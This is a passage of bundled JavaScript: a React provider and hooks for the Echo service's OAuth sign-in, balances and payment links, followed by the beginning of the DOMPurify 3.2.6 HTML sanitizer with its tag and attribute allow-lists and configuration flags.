auth.isLoading || balanceLoading || paymentLoading;\n\n const contextValue: EchoContextValue = {\n user: echoUser || null,\n rawUser: user,\n balance,\n freeTierBalance,\n isAuthenticated: auth.isAuthenticated,\n isLoading: combinedLoading,\n error: combinedError,\n token,\n echoClient,\n signIn: auth.signinRedirect,\n signOut: clearAuth,\n refreshBalance,\n createPaymentLink,\n getToken,\n clearAuth,\n };\n\n return (\n <EchoContext.Provider value={contextValue}>{children}</EchoContext.Provider>\n );\n}\n\n// Main provider that wraps react-oidc-context\nexport function EchoProvider({ config, children }: EchoProviderProps) {\n const [isClient, setIsClient] = useState(false);\n\n // Handle client-side mounting for SSR compatibility\n useEffect(() => {\n setIsClient(true);\n }, []);\n\n // Don't render on server-side\n if (!isClient) {\n return null;\n }\n\n const apiUrl = config.apiUrl || 'https://echo.merit.systems';\n\n const oidcConfig: AuthProviderUserManagerProps = {\n userManager:\n (typeof window !== 'undefined' && (window as any).__echoUserManager) ||\n new UserManager({\n authority: apiUrl,\n client_id: config.appId,\n redirect_uri: config.redirectUri || window.location.origin,\n scope: config.scope || 'llm:invoke offline_access',\n silentRequestTimeoutInSeconds: 10,\n\n // Silent renewal configuration\n silent_redirect_uri: config.redirectUri || window.location.origin,\n includeIdTokenInSilentRenew: false,\n\n validateSubOnSilentRenew: true,\n\n // UserInfo endpoint configuration\n loadUserInfo: true,\n\n // Custom OAuth endpoints (non-standard OIDC)\n metadata: {\n authorization_endpoint: `${apiUrl}/api/oauth/authorize`,\n token_endpoint: `${apiUrl}/api/oauth/token`,\n userinfo_endpoint: `${apiUrl}/api/oauth/userinfo`,\n issuer: apiUrl,\n jwks_uri: `${apiUrl}/.well-known/jwks.json`,\n end_session_endpoint: `${apiUrl}/api/oauth/logout`,\n },\n userStore: new WebStorageStateStore({ store: window.localStorage }),\n }),\n\n // Remove URL parameters after successful authentication\n onSigninCallback: () => {\n // Clean up URL after auth\n if (window.location.search.includes('code=')) {\n window.history.replaceState(\n {},\n document.title,\n window.location.pathname\n );\n }\n },\n };\n\n return (\n <AuthProvider {...oidcConfig}>\n <EchoProviderInternal config={config}>{children}</EchoProviderInternal>\n </AuthProvider>\n );\n}\n\nfunction parseEchoUser(user: User): EchoUser {\n return {\n id: user.profile.sub || '',\n email: user.profile.email || '',\n name: user.profile.name || user.profile.preferred_username || '',\n picture: user.profile.picture || '',\n };\n}\n","import type { FreeBalance } from '@merit-systems/echo-typescript-sdk';\nimport {\n EchoClient,\n getUserFriendlyMessage,\n parseEchoError,\n} from '@merit-systems/echo-typescript-sdk';\nimport { useCallback, useEffect, useState } from 'react';\nimport { EchoBalance } from '../types';\n\nexport function useEchoBalance(echoClient: EchoClient | null, appId: string) {\n const [balance, setBalance] = useState<EchoBalance | null>(null);\n const [freeTierBalance, setFreeTierBalance] = useState<FreeBalance | null>(\n null\n );\n const [error, setError] = useState<string | null>(null);\n const [isLoading, setIsLoading] = useState(false);\n\n const refreshBalance = useCallback(async () => {\n if (!echoClient) {\n throw new Error('Not authenticated');\n }\n\n setIsLoading(true);\n try {\n const [balanceResponse, freeTierResponse] = await Promise.all([\n echoClient.balance.getBalance(),\n echoClient.balance.getFreeBalance(appId),\n ]);\n\n setBalance(balanceResponse);\n setFreeTierBalance(freeTierResponse);\n setError(null);\n } catch (err) {\n const echoError = parseEchoError(err, 'refreshing balance');\n const userFriendlyMessage = getUserFriendlyMessage(echoError);\n setError(userFriendlyMessage);\n throw echoError;\n } finally {\n setIsLoading(false);\n }\n }, [echoClient, appId]);\n\n useEffect(() => {\n if (echoClient && appId) {\n refreshBalance().catch(err => {\n console.error('Error loading initial balance:', err);\n });\n } else {\n setBalance(null);\n setFreeTierBalance(null);\n setError(null);\n }\n }, [echoClient, appId, refreshBalance]);\n\n return {\n balance,\n freeTierBalance,\n error,\n isLoading,\n refreshBalance,\n };\n}\n","import {\n EchoClient,\n getUserFriendlyMessage,\n parseEchoError,\n} from '@merit-systems/echo-typescript-sdk';\nimport { useCallback, useState } from 'react';\n\nexport function useEchoPayments(echoClient: EchoClient | null) {\n const [error, setError] = useState<string | null>(null);\n const [isLoading, setIsLoading] = useState(false);\n\n const createPaymentLink = useCallback(\n async (\n amount: number,\n description?: string,\n successUrl?: string\n ): Promise<string> => {\n if (!echoClient) {\n throw new Error('Not authenticated');\n }\n\n setIsLoading(true);\n try {\n const response = await echoClient.payments.createPaymentLink({\n amount,\n description: description || 'Echo Credits',\n successUrl: successUrl || window.location.origin,\n });\n\n setError(null);\n return response.paymentLink.url;\n } catch (err) {\n const echoError = parseEchoError(err, 'creating payment link');\n const userFriendlyMessage = getUserFriendlyMessage(echoError);\n setError(userFriendlyMessage);\n throw echoError;\n } finally {\n setIsLoading(false);\n }\n },\n [echoClient]\n );\n\n return {\n createPaymentLink,\n error,\n isLoading,\n };\n}\n","import { useContext } from 'react';\nimport { EchoContext } from '../components/EchoProvider';\n\nexport function useEcho() {\n const context = useContext(EchoContext);\n\n if (!context) {\n throw new Error('useEcho must be used within an EchoProvider');\n }\n\n return context;\n}\n","/*! @license DOMPurify 3.2.6 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.2.6/LICENSE */\n\nconst {\n entries,\n setPrototypeOf,\n isFrozen,\n getPrototypeOf,\n getOwnPropertyDescriptor\n} = Object;\nlet {\n freeze,\n seal,\n create\n} = Object; // eslint-disable-line import/no-mutable-exports\nlet {\n apply,\n construct\n} = typeof Reflect !== 'undefined' && Reflect;\nif (!freeze) {\n freeze = function freeze(x) {\n return x;\n };\n}\nif (!seal) {\n seal = function seal(x) {\n return x;\n };\n}\nif (!apply) {\n apply = function apply(fun, thisValue, args) {\n return fun.apply(thisValue, args);\n };\n}\nif (!construct) {\n construct = function construct(Func, args) {\n return new Func(...args);\n };\n}\nconst arrayForEach = unapply(Array.prototype.forEach);\nconst arrayLastIndexOf = unapply(Array.prototype.lastIndexOf);\nconst arrayPop = unapply(Array.prototype.pop);\nconst arrayPush = unapply(Array.prototype.push);\nconst arraySplice = unapply(Array.prototype.splice);\nconst stringToLowerCase = unapply(String.prototype.toLowerCase);\nconst stringToString = unapply(String.prototype.toString);\nconst stringMatch = unapply(String.prototype.match);\nconst stringReplace = unapply(String.prototype.replace);\nconst stringIndexOf = unapply(String.prototype.indexOf);\nconst stringTrim = unapply(String.prototype.trim);\nconst objectHasOwnProperty = unapply(Object.prototype.hasOwnProperty);\nconst regExpTest = unapply(RegExp.prototype.test);\nconst typeErrorCreate = unconstruct(TypeError);\n/**\n * Creates a new function that calls the given function with a specified thisArg and arguments.\n *\n * @param func - The function to be wrapped and called.\n * @returns A new function that calls the given function with a specified thisArg and arguments.\n */\nfunction unapply(func) {\n return function (thisArg) {\n if (thisArg instanceof RegExp) {\n thisArg.lastIndex = 0;\n }\n for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n args[_key - 1] = arguments[_key];\n }\n return apply(func, thisArg, args);\n };\n}\n/**\n * Creates a new function that constructs an instance of the given constructor function with the provided arguments.\n *\n * @param func - The constructor function to be wrapped and called.\n * @returns A new function that constructs an instance of the given constructor function with the provided arguments.\n */\nfunction unconstruct(func) {\n return function () {\n for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {\n args[_key2] = arguments[_key2];\n }\n return construct(func, args);\n };\n}\n/**\n * Add properties to a lookup table\n *\n * @param set - The set to which elements will be added.\n * @param array - The array containing elements to be added to the set.\n * @param transformCaseFunc - An optional function to transform the case of each element before adding to the set.\n * @returns The modified set with added elements.\n */\nfunction addToSet(set, array) {\n let transformCaseFunc = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : stringToLowerCase;\n if (setPrototypeOf) {\n // Make 'in' and truthy checks like Boolean(set.constructor)\n // independent of any properties defined on Object.prototype.\n // Prevent prototype setters from intercepting set as a this value.\n setPrototypeOf(set, null);\n }\n let l = array.length;\n while (l--) {\n let element = array[l];\n if (typeof element === 'string') {\n const lcElement = transformCaseFunc(element);\n if (lcElement !== element) {\n // Config presets (e.g. tags.js, attrs.js) are immutable.\n if (!isFrozen(array)) {\n array[l] = lcElement;\n }\n element = lcElement;\n }\n }\n set[element] = true;\n }\n return set;\n}\n/**\n * Clean up an array to harden against CSPP\n *\n * @param array - The array to be cleaned.\n * @returns The cleaned version of the array\n */\nfunction cleanArray(array) {\n for (let index = 0; index < array.length; index++) {\n const isPropertyExist = objectHasOwnProperty(array, index);\n if (!isPropertyExist) {\n array[index] = null;\n }\n }\n return array;\n}\n/**\n * Shallow clone an object\n *\n * @param object - The object to be cloned.\n * @returns A new object that copies the original.\n */\nfunction clone(object) {\n const newObject = create(null);\n for (const [property, value] of entries(object)) {\n const isPropertyExist = objectHasOwnProperty(object, property);\n if (isPropertyExist) {\n if (Array.isArray(value)) {\n newObject[property] = cleanArray(value);\n } else if (value && typeof value === 'object' && value.constructor === Object) {\n newObject[property] = clone(value);\n } else {\n newObject[property] = value;\n }\n }\n }\n return newObject;\n}\n/**\n * This method automatically checks if the prop is function or getter and behaves accordingly.\n *\n * @param object - The object to look up the getter function in its prototype chain.\n * @param prop - The property name for which to find the getter function.\n * @returns The getter function found in the prototype chain or a fallback function.\n */\nfunction lookupGetter(object, prop) {\n while (object !== null) {\n const desc = getOwnPropertyDescriptor(object, prop);\n if (desc) {\n if (desc.get) {\n return unapply(desc.get);\n }\n if (typeof desc.value === 'function') {\n return unapply(desc.value);\n }\n }\n object = getPrototypeOf(object);\n }\n function fallbackValue() {\n return null;\n }\n return fallbackValue;\n}\n\nconst html$1 = freeze(['a', 'abbr', 'acronym', 'address', 'area', 'article', 'aside', 'audio', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'content', 'data', 'datalist', 'dd', 'decorator', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'img', 'input', 'ins', 'kbd', 'label', 'legend', 'li', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meter', 'nav', 'nobr', 'ol', 'optgroup', 'option', 'output', 'p', 'picture', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'section', 'select', 'shadow', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'wbr']);\nconst svg$1 = freeze(['svg', 'a', 'altglyph', 'altglyphdef', 'altglyphitem', 'animatecolor', 'animatemotion', 'animatetransform', 'circle', 'clippath', 'defs', 'desc', 'ellipse', 'filter', 'font', 'g', 'glyph', 'glyphref', 'hkern', 'image', 'line', 'lineargradient', 'marker', 'mask', 'metadata', 'mpath', 'path', 'pattern', 'polygon', 'polyline', 'radialgradient', 'rect', 'stop', 'style', 'switch', 'symbol', 'text', 'textpath', 'title', 'tref', 'tspan', 'view', 'vkern']);\nconst svgFilters = freeze(['feBlend', 'feColorMatrix', 'feComponentTransfer', 'feComposite', 'feConvolveMatrix', 'feDiffuseLighting', 'feDisplacementMap', 'feDistantLight', 'feDropShadow', 'feFlood', 'feFuncA', 'feFuncB', 'feFuncG', 'feFuncR', 'feGaussianBlur', 'feImage', 'feMerge', 'feMergeNode', 'feMorphology', 'feOffset', 'fePointLight', 'feSpecularLighting', 'feSpotLight', 'feTile', 'feTurbulence']);\n// List of SVG elements that are disallowed by default.\n// We still need to know them so that we can do namespace\n// checks properly in case one wants to add them to\n// allow-list.\nconst svgDisallowed = freeze(['animate', 'color-profile', 'cursor', 'discard', 'font-face', 'font-face-format', 'font-face-name', 'font-face-src', 'font-face-uri', 'foreignobject', 'hatch', 'hatchpath', 'mesh', 'meshgradient', 'meshpatch', 'meshrow', 'missing-glyph', 'script', 'set', 'solidcolor', 'unknown', 'use']);\nconst mathMl$1 = freeze(['math', 'menclose', 'merror', 'mfenced', 'mfrac', 'mglyph', 'mi', 'mlabeledtr', 'mmultiscripts', 'mn', 'mo', 'mover', 'mpadded', 'mphantom', 'mroot', 'mrow', 'ms', 'mspace', 'msqrt', 'mstyle', 'msub', 'msup', 'msubsup', 'mtable', 'mtd', 'mtext', 'mtr', 'munder', 'munderover', 'mprescripts']);\n// Similarly to SVG, we want to know all MathML elements,\n// even those that we disallow by default.\nconst mathMlDisallowed = freeze(['maction', 'maligngroup', 'malignmark', 'mlongdiv', 'mscarries', 'mscarry', 'msgroup', 'mstack', 'msline', 'msrow', 'semantics', 'annotation', 'annotation-xml', 'mprescripts', 'none']);\nconst text = freeze(['#text']);\n\nconst html = freeze(['accept', 'action', 'align', 'alt', 'autocapitalize', 'autocomplete', 'autopictureinpicture', 'autoplay', 'background', 'bgcolor', 'border', 'capture', 'cellpadding', 'cellspacing', 'checked', 'cite', 'class', 'clear', 'color', 'cols', 'colspan', 'controls', 'controlslist', 'coords', 'crossorigin', 'datetime', 'decoding', 'default', 'dir', 'disabled', 'disablepictureinpicture', 'disableremoteplayback', 'download', 'draggable', 'enctype', 'enterkeyhint', 'face', 'for', 'headers', 'height', 'hidden', 'high', 'href', 'hreflang', 'id', 'inputmode', 'integrity', 'ismap', 'kind', 'label', 'lang', 'list', 'loading', 'loop', 'low', 'max', 'maxlength', 'media', 'method', 'min', 'minlength', 'multiple', 'muted', 'name', 'nonce', 'noshade', 'novalidate', 'nowrap', 'open', 'optimum', 'pattern', 'placeholder', 'playsinline', 'popover', 'popovertarget', 'popovertargetaction', 'poster', 'preload', 'pubdate', 'radiogroup', 'readonly', 'rel', 'required', 'rev', 'reversed', 'role', 'rows', 'rowspan', 'spellcheck', 'scope', 'selected', 'shape', 'size', 'sizes', 'span', 'srclang', 'start', 'src', 'srcset', 'step', 'style', 'summary', 'tabindex', 'title', 'translate', 'type', 'usemap', 'valign', 'value', 'width', 'wrap', 'xmlns', 'slot']);\nconst svg = freeze(['accent-height', 'accumulate', 'additive', 'alignment-baseline', 'amplitude', 'ascent', 'attributename', 'attributetype', 'azimuth', 'basefrequency', 'baseline-shift', 'begin', 'bias', 'by', 'class', 'clip', 'clippathunits', 'clip-path', 'clip-rule', 'color', 'color-interpolation', 'color-interpolation-filters', 'color-profile', 'color-rendering', 'cx', 'cy', 'd', 'dx', 'dy', 'diffuseconstant', 'direction', 'display', 'divisor', 'dur', 'edgemode', 'elevation', 'end', 'exponent', 'fill', 'fill-opacity', 'fill-rule', 'filter', 'filterunits', 'flood-color', 'flood-opacity', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'fx', 'fy', 'g1', 'g2', 'glyph-name', 'glyphref', 'gradientunits', 'gradienttransform', 'height', 'href', 'id', 'image-rendering', 'in', 'in2', 'intercept', 'k', 'k1', 'k2', 'k3', 'k4', 'kerning', 'keypoints', 'keysplines', 'keytimes', 'lang', 'lengthadjust', 'letter-spacing', 'kernelmatrix', 'kernelunitlength', 'lighting-color', 'local', 'marker-end', 'marker-mid', 'marker-start', 'markerheight', 'markerunits', 'markerwidth', 'maskcontentunits', 'maskunits', 'max', 'mask', 'media', 'method', 'mode', 'min', 'name', 'numoctaves', 'offset', 'operator', 'opacity', 'order', 'orient', 'orientation', 'origin', 'overflow', 'paint-order', 'path', 'pathlength', 'patterncontentunits', 'patterntransform', 'patternunits', 'points', 'preservealpha', 'preserveaspectratio', 'primitiveunits', 'r', 'rx', 'ry', 'radius', 'refx', 'refy', 'repeatcount', 'repeatdur', 'restart', 'result', 'rotate', 'scale', 'seed', 'shape-rendering', 'slope', 'specularconstant', 'specularexponent', 'spreadmethod', 'startoffset', 'stddeviation', 'stitchtiles', 'stop-color', 'stop-opacity', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke', 'stroke-width', 'style', 'surfacescale', 'systemlanguage', 'tabindex', 'tablevalues', 'targetx', 'targety', 'transform', 'transform-origin', 'text-anchor', 'text-decoration', 'text-rendering', 'textlength', 'type', 'u1', 'u2', 'unicode', 'values', 'viewbox', 'visibility', 'version', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'width', 'word-spacing', 'wrap', 'writing-mode', 'xchannelselector', 'ychannelselector', 'x', 'x1', 'x2', 'xmlns', 'y', 'y1', 'y2', 'z', 'zoomandpan']);\nconst mathMl = freeze(['accent', 'accentunder', 'align', 'bevelled', 'close', 'columnsalign', 'columnlines', 'columnspan', 'denomalign', 'depth', 'dir', 'display', 'displaystyle', 'encoding', 'fence', 'frame', 'height', 'href', 'id', 'largeop', 'length', 'linethickness', 'lspace', 'lquote', 'mathbackground', 'mathcolor', 'mathsize', 'mathvariant', 'maxsize', 'minsize', 'movablelimits', 'notation', 'numalign', 'open', 'rowalign', 'rowlines', 'rowspacing', 'rowspan', 'rspace', 'rquote', 'scriptlevel', 'scriptminsize', 'scriptsizemultiplier', 'selection', 'separator', 'separators', 'stretchy', 'subscriptshift', 'supscriptshift', 'symmetric', 'voffset', 'width', 'xmlns']);\nconst xml = freeze(['xlink:href', 'xml:id', 'xlink:title', 'xml:space', 'xmlns:xlink']);\n\n// eslint-disable-next-line unicorn/better-regex\nconst MUSTACHE_EXPR = seal(/\\{\\{[\\w\\W]*|[\\w\\W]*\\}\\}/gm); // Specify template detection regex for SAFE_FOR_TEMPLATES mode\nconst ERB_EXPR = seal(/<%[\\w\\W]*|[\\w\\W]*%>/gm);\nconst TMPLIT_EXPR = seal(/\\$\\{[\\w\\W]*/gm); // eslint-disable-line unicorn/better-regex\nconst DATA_ATTR = seal(/^data-[\\-\\w.\\u00B7-\\uFFFF]+$/); // eslint-disable-line no-useless-escape\nconst ARIA_ATTR = seal(/^aria-[\\-\\w]+$/); // eslint-disable-line no-useless-escape\nconst IS_ALLOWED_URI = seal(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\\-]+(?:[^a-z+.\\-:]|$))/i // eslint-disable-line no-useless-escape\n);\nconst IS_SCRIPT_OR_DATA = seal(/^(?:\\w+script|data):/i);\nconst ATTR_WHITESPACE = seal(/[\\u0000-\\u0020\\u00A0\\u1680\\u180E\\u2000-\\u2029\\u205F\\u3000]/g // eslint-disable-line no-control-regex\n);\nconst DOCTYPE_NAME = seal(/^html$/i);\nconst CUSTOM_ELEMENT = seal(/^[a-z][.\\w]*(-[.\\w]+)+$/i);\n\nvar EXPRESSIONS = /*#__PURE__*/Object.freeze({\n __proto__: null,\n ARIA_ATTR: ARIA_ATTR,\n ATTR_WHITESPACE: ATTR_WHITESPACE,\n CUSTOM_ELEMENT: CUSTOM_ELEMENT,\n DATA_ATTR: DATA_ATTR,\n DOCTYPE_NAME: DOCTYPE_NAME,\n ERB_EXPR: ERB_EXPR,\n IS_ALLOWED_URI: IS_ALLOWED_URI,\n IS_SCRIPT_OR_DATA: IS_SCRIPT_OR_DATA,\n MUSTACHE_EXPR: MUSTACHE_EXPR,\n TMPLIT_EXPR: TMPLIT_EXPR\n});\n\n/* eslint-disable @typescript-eslint/indent */\n// https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType\nconst NODE_TYPE = {\n element: 1,\n attribute: 2,\n text: 3,\n cdataSection: 4,\n entityReference: 5,\n // Deprecated\n entityNode: 6,\n // Deprecated\n progressingInstruction: 7,\n comment: 8,\n document: 9,\n documentType: 10,\n documentFragment: 11,\n notation: 12 // Deprecated\n};\nconst getGlobal = function getGlobal() {\n return typeof window === 'undefined' ? null : window;\n};\n/**\n * Creates a no-op policy for internal use only.\n * Don't export this function outside this module!\n * @param trustedTypes The policy factory.\n * @param purifyHostElement The Script element used to load DOMPurify (to determine policy name suffix).\n * @return The policy created (or null, if Trusted Types\n * are not supported or creating the policy failed).\n */\nconst _createTrustedTypesPolicy = function _createTrustedTypesPolicy(trustedTypes, purifyHostElement) {\n if (typeof trustedTypes !== 'object' || typeof trustedTypes.createPolicy !== 'function') {\n return null;\n }\n // Allow the callers to control the unique policy name\n // by adding a data-tt-policy-suffix to the script element with the DOMPurify.\n // Policy creation with duplicate names throws in Trusted Types.\n let suffix = null;\n const ATTR_NAME = 'data-tt-policy-suffix';\n if (purifyHostElement && purifyHostElement.hasAttribute(ATTR_NAME)) {\n suffix = purifyHostElement.getAttribute(ATTR_NAME);\n }\n const policyName = 'dompurify' + (suffix ? '#' + suffix : '');\n try {\n return trustedTypes.createPolicy(policyName, {\n createHTML(html) {\n return html;\n },\n createScriptURL(scriptUrl) {\n return scriptUrl;\n }\n });\n } catch (_) {\n // Policy creation failed (most likely another DOMPurify script has\n // already run). Skip creating the policy, as this will only cause errors\n // if TT are enforced.\n console.warn('TrustedTypes policy ' + policyName + ' could not be created.');\n return null;\n }\n};\nconst _createHooksMap = function _createHooksMap() {\n return {\n afterSanitizeAttributes: [],\n afterSanitizeElements: [],\n afterSanitizeShadowDOM: [],\n beforeSanitizeAttributes: [],\n beforeSanitizeElements: [],\n beforeSanitizeShadowDOM: [],\n uponSanitizeAttribute: [],\n uponSanitizeElement: [],\n uponSanitizeShadowNode: []\n };\n};\nfunction createDOMPurify() {\n let window = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : getGlobal();\n const DOMPurify = root => createDOMPurify(root);\n DOMPurify.version = '3.2.6';\n DOMPurify.removed = [];\n if (!window || !window.document || window.document.nodeType !== NODE_TYPE.document || !window.Element) {\n // Not running in a browser, provide a factory function\n // so that you can pass your own Window\n DOMPurify.isSupported = false;\n return DOMPurify;\n }\n let {\n document\n } = window;\n const originalDocument = document;\n const currentScript = originalDocument.currentScript;\n const {\n DocumentFragment,\n HTMLTemplateElement,\n Node,\n Element,\n NodeFilter,\n NamedNodeMap = window.NamedNodeMap || window.MozNamedAttrMap,\n HTMLFormElement,\n DOMParser,\n trustedTypes\n } = window;\n const ElementPrototype = Element.prototype;\n const cloneNode = lookupGetter(ElementPrototype, 'cloneNode');\n const remove = lookupGetter(ElementPrototype, 'remove');\n const getNextSibling = lookupGetter(ElementPrototype, 'nextSibling');\n const getChildNodes = lookupGetter(ElementPrototype, 'childNodes');\n const getParentNode = lookupGetter(ElementPrototype, 'parentNode');\n // As per issue #47, the web-components registry is inherited by a\n // new document created via createHTMLDocument. As per the spec\n // (http://w3c.github.io/webcomponents/spec/custom/#creating-and-passing-registries)\n // a new empty registry is used when creating a template contents owner\n // document, so we use that as our parent document to ensure nothing\n // is inherited.\n if (typeof HTMLTemplateElement === 'function') {\n const template = document.createElement('template');\n if (template.content && template.content.ownerDocument) {\n document = template.content.ownerDocument;\n }\n }\n let trustedTypesPolicy;\n let emptyHTML = '';\n const {\n implementation,\n createNodeIterator,\n createDocumentFragment,\n getElementsByTagName\n } = document;\n const {\n importNode\n } = originalDocument;\n let hooks = _createHooksMap();\n /**\n * Expose whether this browser supports running the full DOMPurify.\n */\n DOMPurify.isSupported = typeof entries === 'function' && typeof getParentNode === 'function' && implementation && implementation.createHTMLDocument !== undefined;\n const {\n MUSTACHE_EXPR,\n ERB_EXPR,\n TMPLIT_EXPR,\n DATA_ATTR,\n ARIA_ATTR,\n IS_SCRIPT_OR_DATA,\n ATTR_WHITESPACE,\n CUSTOM_ELEMENT\n } = EXPRESSIONS;\n let {\n IS_ALLOWED_URI: IS_ALLOWED_URI$1\n } = EXPRESSIONS;\n /**\n * We consider the elements and attributes below to be safe. Ideally\n * don't add any new ones but feel free to remove unwanted ones.\n */\n /* allowed element names */\n let ALLOWED_TAGS = null;\n const DEFAULT_ALLOWED_TAGS = addToSet({}, [...html$1, ...svg$1, ...svgFilters, ...mathMl$1, ...text]);\n /* Allowed attribute names */\n let ALLOWED_ATTR = null;\n const DEFAULT_ALLOWED_ATTR = addToSet({}, [...html, ...svg, ...mathMl, ...xml]);\n /*\n * Configure how DOMPurify should handle custom elements and their attributes as well as customized built-in elements.\n * @property {RegExp|Function|null} tagNameCheck one of [null, regexPattern, predicate]. Default: `null` (disallow any custom elements)\n * @property {RegExp|Function|null} attributeNameCheck one of [null, regexPattern, predicate]. Default: `null` (disallow any attributes not on the allow list)\n * @property {boolean} allowCustomizedBuiltInElements allow custom elements derived from built-ins if they pass CUSTOM_ELEMENT_HANDLING.tagNameCheck. Default: `false`.\n */\n let CUSTOM_ELEMENT_HANDLING = Object.seal(create(null, {\n tagNameCheck: {\n writable: true,\n configurable: false,\n enumerable: true,\n value: null\n },\n attributeNameCheck: {\n writable: true,\n configurable: false,\n enumerable: true,\n value: null\n },\n allowCustomizedBuiltInElements: {\n writable: true,\n configurable: false,\n enumerable: true,\n value: false\n }\n }));\n /* Explicitly forbidden tags (overrides ALLOWED_TAGS/ADD_TAGS) */\n let FORBID_TAGS = null;\n /* Explicitly forbidden attributes (overrides ALLOWED_ATTR/ADD_ATTR) */\n let FORBID_ATTR = null;\n /* Decide if ARIA attributes are okay */\n let ALLOW_ARIA_ATTR = true;\n /* Decide if custom data attributes are okay */\n let ALLOW_DATA_ATTR = true;\n /* Decide if unknown protocols are okay */\n let ALLOW_UNKNOWN_PROTOCOLS = false;\n /* Decide if self-closing tags in attributes are allowed.\n * Usually removed due to a mXSS issue in jQuery 3.0 */\n let ALLOW_SELF_CLOSE_IN_ATTR = true;\n /* Output should be safe for common template engines.\n * This means, DOMPurify removes data attributes, mustaches and ERB\n */\n let SAFE_FOR_TEMPLATES = false;\n /* Output should be safe even for XML used within HTML and alike.\n * This means, DOMPurify removes comments when containing risky content.\n */\n let SAFE_FOR_XML = true;\n /* Decide if document with <html>... should be returned */\n let WHOLE_DOCUMENT = false;\n /* Track whether config is already set on this instance of DOMPurify. */\n let SET_CONFIG = false;\n /* Decide if all elements (e.g. style, script) must be children of\n * document.body. By default, browsers might move them to document.head */\n let FORCE_BODY = false;\n /* Decide if a DOM `HTMLBodyElement` should be returned, instead of a html\n * string (or a TrustedHTML object if Trusted Types are supported).\n * If `WHOLE_DOCUMENT` is enabled a `HTMLHtmlElement` will be returned instead\n */\n let RETURN_DOM = false;\n /* Decide if a DOM `DocumentFragment` should be returned, instead of a html\n * string (or a TrustedHTML object if Trusted Types are supported) */\n let RETURN_DOM_FRAGMENT = false;\n /* Try to return a Trusted Type object instead of a string, return a string in\n * case Trusted Types are not supported */\n let RETURN_TRUSTED_TYPE = false;\n /* Output should be free from DOM clobbering attacks?\n * This sanitizes markups named with colliding, clobberable built-in DOM APIs.\n */\n let SANITIZE_DOM = true;\n /* Achieve full DOM Clobbering protection by isolating the namespace of named\n * properties and JS variables, mitigating attacks that abuse the HTML/DOM spec rules.\n *\n * HTML/DOM spec rules that enable DOM Clobbering:\n * - Named Access on Window (§7.3.3)\n * - DOM Tree Accessors (§3.1.5)\n * - Form Element Parent-Child Relations (§4.10.3)\n * - Iframe srcdoc / Nested WindowProxies (§4.8.5)\n * - HTMLCollection (§4.2.10.2)\n *\n * Namespace isolation is implemented by prefixing `id` and `name` attributes\n * with a constant string, i.e., `user-content-`\n */\n let SANITIZE_NAMED_PROPS = false;\n const SANITIZE_NAMED_PROPS_PREFIX = 'user-content-';\n /* Keep element content when removing element? */\n let KEEP_CONTENT = true;\n /* If a `Node` is passed to sanitize(), then performs sanitization in-place instead\n * of importing it into a new Document and returning a sanitized copy */\n let IN_PLACE = false;\n /* Allow usage of profiles like html, svg and mathMl */\n let USE_PROFILES = {};\n /* Tags to ignore content of when KEEP_CONTENT is true */\n let FORBID_CONTENTS = null;\n const DEFAULT_FORBID_CONTENTS = addToSet({}, ['annotation-xml', 'audio', 'colgroup', 'desc', 'foreignobject', 'head', 'iframe', 'math', 'mi', 'mn', 'mo', 'ms', 'mtext', 'noembed', 'noframes', 'noscript', 'plaintext', 'script', 'style', 'svg', 'template', 'thead', 'title', 'video', 'xmp']);\n /* Tags that are safe for data: URIs */\n let DATA_URI_TAGS = null;\n const DEFAULT_DATA_URI_TAGS = addToSet({}, ['audio', 'video', 'img', 'source', 'image', 'track']);\n /* Attributes safe for values like \"javascript:\" */\n let URI_SAFE_ATTRIBUTES = null;\n const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, ['alt', 'class', 'for', 'id', 'label', 'name', 'pattern', 'placeholder', 'role', 'summary', 'title', 'value', 'style', 'xmlns']);\n const MATHML_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';\n const SVG_NAMESPACE = 'http://www.w3.org/2000/svg';\n const HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';\n /* Document namespace */\n let NAMESPACE = HTML_NAMESPACE;\n let IS_EMPTY_INPUT = false;\n /* Allowed XHTML+XML namespaces */\n let ALLOWED_NAMESPACES = null;\n const DEFAULT_ALLOWED_NAMESPACES = addToSet({}, [MATHML_NAMESPACE, SVG_NAMESPACE, HTML_NAMESPACE], stringToString);\n let MATHML_TEXT_INTEGRATION_POINTS = addToSet({}, ['mi', 'mo', 'mn', 'ms', 'mtext']);\n let HTML_INTEGRATION_POINTS = addToSet({}, ['annotation-xml']);\n // Certain elements are allowed in both SVG and HTML\n // namespace. We need to specify them explicitly\n // so that they don't get erroneously deleted from\n // HTML namespace.\n const COMMON_SVG_AND_HTML_ELEMENTS = addToSet({}, ['title', 'style', 'font', 'a', 'script']);\n /* Parsing of strict XHTML documents */\n let PARSER_MEDIA_TYPE = null;\n const SUPPORTED_PARSER_MEDIA_TYPES = ['application/xhtml+xml', 'text/html'];\n const DEFAULT_PARSER_MEDIA_TYPE = 